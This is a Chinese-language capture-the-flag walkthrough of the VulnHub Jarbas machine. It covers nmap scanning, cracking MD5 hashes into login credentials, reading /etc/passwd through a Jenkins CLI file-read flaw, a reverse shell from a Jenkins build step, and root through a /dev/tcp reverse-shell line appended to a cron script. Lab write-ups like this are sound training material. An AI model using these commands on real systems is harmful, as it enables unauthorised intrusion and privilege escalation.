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[vulnhub] Jarbas-Jenkins

news 来源：原创 2024/9/27 21:52:44

靶机链接

https://www.vulnhub.com/entry/jarbas-1,232/

主机发现端口扫描

扫描网段存活主机，因为主机是我最后添加的，所以靶机地址是135的

nmap -sP 192.168.75.0/24   
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:03 CST
Nmap scan report for 192.168.75.1
Host is up (0.00032s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00036s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.135
Host is up (0.00032s latency).
MAC Address: 00:0C:29:08:91:76 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:F8:B3:1A (VMware)
Nmap scan report for 192.168.75.131
Host is up.

扫描主机开放端口，开放端口：22,80,3306,8080

nmap -sT -min-rate 10000 -p- 192.168.75.135
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:05 CST
Nmap scan report for 192.168.75.135
Host is up (0.00074s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:0C:29:08:91:76 (VMware)

扫描服务版本及系统版本

nmap -sT -sV -O -p22,80,3306,8080 192.168.75.135
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:07 CST
Nmap scan report for 192.168.75.135
Host is up (0.00076s latency).PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
MAC Address: 00:0C:29:08:91:76 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

扫描漏洞，没什么值得注意的漏洞，不过发现了两个文件夹/icons/ 和/robots.txt

map -script=vuln -p22,80,3306,8080 192.168.75.135
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:08 CST
Nmap scan report for 192.168.75.135
Host is up (0.00032s latency).PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-enum: 
|_  /robots.txt: Robots file
MAC Address: 00:0C:29:08:91:76 (VMware)

渗透优先级：80,8080→3306→22

WEB渗透

80端口

扫描目录 192.168.75.135:80

python .\dirsearch.py -u http://192.168.75.135/
//
[14:12:53] 200 -  359B  - /access.html
[14:12:58] 403 -  210B  - /cgi-bin/

发现/access.html ，访问发现是有用的信息

Creds encrypted in a safe way!
<image>
tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

乍一看很像MD5，破解后得到以下内容，大概是一些账号密码，在哪里使用暂时还不知道

tiago:italia99
trindade:marianna
eder:vipsu

再查看前面nmap扫描出来的icons 目录，发现没什么有用的信息

8080端口

访问8080端口，发现是登陆页面，并且是Jenkins CMS
先访问nmap扫描出来的robots.txt ,获得以下内容
```
# we don't want robots to click "build" links
User-agent: *
Disallow: /
```
感觉也没啥利用的
回到登陆页面，尝试使用之前获得的用户信息登录

发现 eder:vipsu 可以登录进去
进入后台，仔细挖掘一些有用的设置

Jenkins CLI , 脚本命令行 , 系统信息 等都是我们感兴趣的

进入关于jenkins ，发现版本是 2.113

漏洞利用

查阅信息，发现存在任意文件读取 **CVE-2024-23897，**我们尝试利用

https://blog.csdn.net/qq_34594929/article/details/136446671
进入Jenkins CLI ，下载 Jenkins-cli.jar
然后到 管理Jenkins →全局安全设置 →勾选匿名用户具有可读权限

打开kali命令行输入，获得/etc/passwd

java -jar jenkins-cli.jar -s http://192.168.75.135:8080 connect-node '@/etc/passwd'
//
icked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin: No such agent "ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin" exists.
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin: No such agent "systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin" exists.
daemon:x:2:2:daemon:/sbin:/sbin/nologin: No such agent "daemon:x:2:2:daemon:/sbin:/sbin/nologin" exists.
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin: No such agent "lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/false: No such agent "jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/false" exists.
adm:x:3:4:adm:/var/adm:/sbin/nologin: No such agent "adm:x:3:4:adm:/var/adm:/sbin/nologin" exists.
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown: No such agent "shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown" exists.
sync:x:5:0:sync:/sbin:/bin/sync: No such agent "sync:x:5:0:sync:/sbin:/bin/sync" exists.
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin: No such agent "mail:x:8:12:mail:/var/spool/mail:/sbin/nologin" exists.
dbus:x:81:81:System message bus:/:/sbin/nologin: No such agent "dbus:x:81:81:System message bus:/:/sbin/nologin" exists.
postfix:x:89:89::/var/spool/postfix:/sbin/nologin: No such agent "postfix:x:89:89::/var/spool/postfix:/sbin/nologin" exists.
operator:x:11:0:operator:/root:/sbin/nologin: No such agent "operator:x:11:0:operator:/root:/sbin/nologin" exists.
eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash: No such agent "eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash" exists.
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin: No such agent "apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin" exists.
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin: No such agent "mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin" exists.
polkitd:x:999:997:User for polkitd:/:/sbin/nologin: No such agent "polkitd:x:999:997:User for polkitd:/:/sbin/nologin" exists.
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin: No such agent "sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin" exists.
halt:x:7:0:halt:/sbin:/sbin/halt: No such agent "halt:x:7:0:halt:/sbin:/sbin/halt" exists.
nobody:x:99:99:Nobody:/:/sbin/nologin: No such agent "nobody:x:99:99:Nobody:/:/sbin/nologin" exists.
games:x:12:100:games:/usr/games:/sbin/nologin: No such agent "games:x:12:100:games:/usr/games:/sbin/nologin" exists.
chrony:x:998:996::/var/lib/chrony:/sbin/nologin: No such agent "chrony:x:998:996::/var/lib/chrony:/sbin/nologin" exists.
bin:x:1:1:bin:/bin:/sbin/nologin: No such agent "bin:x:1:1:bin:/bin:/sbin/nologin" exists.ERROR: Error occurred while performing this command, see previous stderr output.

但是读取不了/etc/shadow ,不过我们发现/etc/passwd里面存在eder 用户，和我们进入后台的用户名一样，我们尝试一下使用ssh登录，登陆失败，换条路子走

利用Jenkins后台反弹shell

发现新建任务里面的构建一个自由风格的软件项目里面可以执行shell代码
输入反弹shell代码保存

kali开启监听

nc -lvp 1234
//            
listening on [any] 1234 ...

在Jenkins里面点击构建，就会执行刚刚输入的代码

成功获得shell

nc -lvp 1234
listening on [any] 1234 ...
192.168.75.135: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.135] 54884python -c "import pty;pty.spawn('/bin/bash')" // 获得交互shell
bash-4.2$ ls
ls
bash-4.2$

提权

查看通过Jenkins后台获得的shell权限

bash-4.2$ whoami
jenkins
//
bash-4.2$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:#1) Respect the privacy of others.#2) Think before you type.#3) With great power comes great responsibility.[sudo] password for jenkins: ^C //要密码
//                                                                                           
bash-4.2$ uname -a
Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
//
bash-4.2$ ls -l
total 0
//
bash-4.2$ dpkg -l
bash: dpkg: command not found

权限不高不低

尝试查看crontab是否有root运行的自动化任务

bash-4.2$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

文件内容是：

bash-4.2$ cat /etc/script/CleaningScript.sh
#!/bin/bashrm -rf /var/log/httpd/access_log.txt

存在一条每隔五分钟使用root权限清理某些东西的自动化任务

我们可以尝试追加反弹shell在该脚本尾部，让它使用root权限来执行反弹shell代码

提权成功，获得root权限，并且读取flag内容

bash-4.2$ echo "/bin/bash >& /dev/tcp/192.168.75.131/1235 0>&1" >> /etc/script/CleaningScript.sh
//
<& /dev/tcp/192.168.75.131/1235 0>&1" >> /etc/script/CleaningScript.sh

nc -lvp 1235                                                        
listening on [any] 1235 ...
//
192.168.75.135: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.135] 58338
python -c "import pty;pty.spawn('/bin/bash')"
[root@jarbas ~]# whoami
whoami
root
[root@jarbas ~]# uname -a
uname -a
Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[root@jarbas ~]# dpkg -l
dpkg -l
bash: dpkg: command not found
[root@jarbas ~]# cat flag.txt //读取flag
cat flag.txt
Hey!Congratulations! You got it! I always knew you could do it!
This challenge was very easy, huh? =)Thanks for appreciating this machine.@tiagotvrs 
[root@jarbas ~]#